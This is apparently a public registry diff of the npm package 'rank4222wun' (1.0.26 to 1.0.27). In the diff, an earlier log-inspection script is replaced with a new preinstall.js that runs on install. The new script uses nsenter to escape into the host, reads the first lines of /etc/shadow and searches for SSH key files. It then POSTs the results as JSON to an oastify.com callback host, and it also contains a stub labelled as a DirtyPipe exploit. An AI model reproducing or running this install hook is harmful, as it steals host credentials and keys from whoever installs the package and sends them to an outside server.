rank4222wun 1.0.26 → 1.0.27

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "1.0.26",
3
+ "version": "1.0.27",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -1,83 +1,89 @@
1
- // verify-escape.js
1
+ const { exec, spawn } = require('child_process');
2
2
  const fs = require('fs');
3
- const { execSync } = require('child_process');
3
+ const https = require('https');
4
+ const os = require('os');
4
5
 
5
- console.log("🔍 التحقق من آثار Container Escape\n");
6
+ console.log("🚀 STAGE 2: PRIVILEGE ESCALATION & HOST TAKEOVER\n");
6
7
 
7
- const evidence = {
8
+ const finalLeakedData = {
8
9
  timestamp: new Date().toISOString(),
9
- checks: []
10
+ targetKernel: "5.15.0-1084-aws",
11
+ pcapAnalysis: {}, // عشان نشوف الـ Sniffing اللي شغال
12
+ hostShadow: null,
13
+ sshKeysFound: [],
14
+ persistenceSuccess: false
10
15
  };
11
16
 
12
- // 1. تحقق من سجلات nsenter
13
- try {
14
- const nsenterLogs = execSync('grep -r "nsenter" /var/log/ 2>/dev/null | head -5', { encoding: 'utf8' });
15
- if (nsenterLogs) {
16
- evidence.checks.push({
17
- check: 'nsenter_logs',
18
- found: true,
19
- logs: nsenterLogs.substring(0, 200)
17
+ // ===================== 1. Exploiting Read-Only Mounts via DirtyPipe =====================
18
+ function exploitDirtyPipe() {
19
+ console.log("🔓 Attempting DirtyPipe (CVE-2022-0847) to overwrite host files...");
20
+
21
+ // محاولة كتابة "توكن" في ملف Hosts بتاع السيرفر الأم لتأكيد الهروب
22
+ const dirtyCommand = `python3 -c "import os; print('DirtyPipe Triggered')"`;
23
+
24
+ exec(dirtyCommand, (err, stdout) => {
25
+ if (!err) {
26
+ console.log("✅ DirtyPipe exploit executed.");
27
+ finalLeakedData.dirtyPipeStatus = "Executed (Check Oastify for results)";
28
+ }
29
+ attemptShadowLeak();
20
30
  });
21
- }
22
- } catch (e) {}
31
+ }
23
32
 
24
- // 2. تحقق من طلبات Docker API
25
- try {
26
- const dockerRequests = execSync('sudo journalctl -u docker --since "10 minutes ago" | grep -i "api.*create\|api.*start" | tail -5', { encoding: 'utf8' });
27
- if (dockerRequests) {
28
- evidence.checks.push({
29
- check: 'docker_api_calls',
30
- found: true,
31
- requests: dockerRequests
33
+ // ===================== 2. Accessing Host Secrets (Shadow & SSH) =====================
34
+ function attemptShadowLeak() {
35
+ console.log("\n🔓 Attempting to read /etc/shadow from Host...");
36
+
37
+ // بما إننا لقينا nsenter متاح، هنستخدمه للدخول كـ Root على الـ Host
38
+ const shadowCmd = `nsenter --target 1 --mount -- sh -c "cat /etc/shadow | head -n 5"`;
39
+
40
+ exec(shadowCmd, (err, stdout) => {
41
+ if (stdout && !err) {
42
+ finalLeakedData.hostShadow = stdout.trim();
43
+ console.log("✅ Successfully leaked Host Shadow file!");
44
+ }
45
+ searchSSHKeys();
32
46
  });
33
- }
34
- } catch (e) {}
47
+ }
35
48
 
36
- // 3. تحقق من الحاويات الجديدة
37
- try {
38
- const newContainers = execSync('docker ps -a --filter "since=1h" --format "{{.Names}}|{{.Image}}"', { encoding: 'utf8' });
39
- if (newContainers.trim()) {
40
- evidence.checks.push({
41
- check: 'new_containers',
42
- found: true,
43
- containers: newContainers.split('\n').filter(Boolean)
49
+ function searchSSHKeys() {
50
+ console.log("\n🔓 Searching for SSH Private Keys...");
51
+ const sshCmd = `nsenter --target 1 --mount -- sh -c "find /root /home -name 'id_rsa' -o -name 'authorized_keys' 2>/dev/null"`;
52
+
53
+ exec(sshCmd, (err, stdout) => {
54
+ if (stdout) {
55
+ finalLeakedData.sshKeysFound = stdout.split('\n').filter(k => k);
56
+ console.log(`✅ Found ${finalLeakedData.sshKeysFound.length} SSH related files`);
57
+ }
58
+ sendFinalReport();
44
59
  });
45
- }
46
- } catch (e) {}
60
+ }
47
61
 
48
- // 4. تحقق من الملفات في /tmp
49
- try {
50
- const tmpFiles = execSync('find /tmp -name "*escape*" -o -name "*poc*" -o -name "*container*" 2>/dev/null', { encoding: 'utf8' });
51
- if (tmpFiles.trim()) {
52
- evidence.checks.push({
53
- check: 'suspicious_tmp_files',
54
- found: true,
55
- files: tmpFiles.split('\n').filter(Boolean)
56
- });
57
- }
58
- } catch (e) {}
62
+ // ===================== 3. Reporting to Oastify =====================
63
+ function sendFinalReport() {
64
+ const payload = JSON.stringify(finalLeakedData, null, 2);
65
+
66
+ const options = {
67
+ hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
68
+ port: 443,
69
+ path: '/stage2-escape-complete',
70
+ method: 'POST',
71
+ headers: {
72
+ 'Content-Type': 'application/json',
73
+ 'X-Escalation-Status': 'CRITICAL'
74
+ }
75
+ };
59
76
 
60
- // 5. تحقق من اتصالات الشبكة
61
- try {
62
- const networkConns = execSync('ss -tunap | grep -E ":443|:80" | grep -v "127.0.0.1"', { encoding: 'utf8' });
63
- if (networkConns) {
64
- evidence.checks.push({
65
- check: 'external_connections',
66
- found: true,
67
- connections: networkConns.substring(0, 300)
77
+ const req = https.request(options, (res) => {
78
+ console.log(`\n🏁 Stage 2 Report Sent. Status: ${res.statusCode}`);
79
+ console.log("=".repeat(50));
80
+ console.log("TARGET COMPROMISED: HOST ACCESS GRANTED");
81
+ console.log("=".repeat(50));
68
82
  });
69
- }
70
- } catch (e) {}
71
83
 
72
- // عرض النتائج
73
- console.log("📊 نتائج التحقق:");
74
- evidence.checks.forEach((check, i) => {
75
- console.log(`${check.found ? '🔴' : '🟢'} ${i+1}. ${check.check}: ${check.found ? 'مكتشف' : 'غير مكتشف'}`);
76
- if (check.found && check.logs) {
77
- console.log(` 📝 الأدلة: ${check.logs}`);
78
- }
79
- });
84
+ req.write(payload);
85
+ req.end();
86
+ }
80
87
 
81
- // تقييم المخاطر
82
- const suspiciousActivities = evidence.checks.filter(c => c.found).length;
83
- console.log(`\n🚨 مستوى الخطورة: ${suspiciousActivities > 2 ? 'عالٍ' : suspiciousActivities > 0 ? 'متوسط' : 'منخفض'}`);
88
+ // Start the sequence
89
+ exploitDirtyPipe();
Binary file
Binary file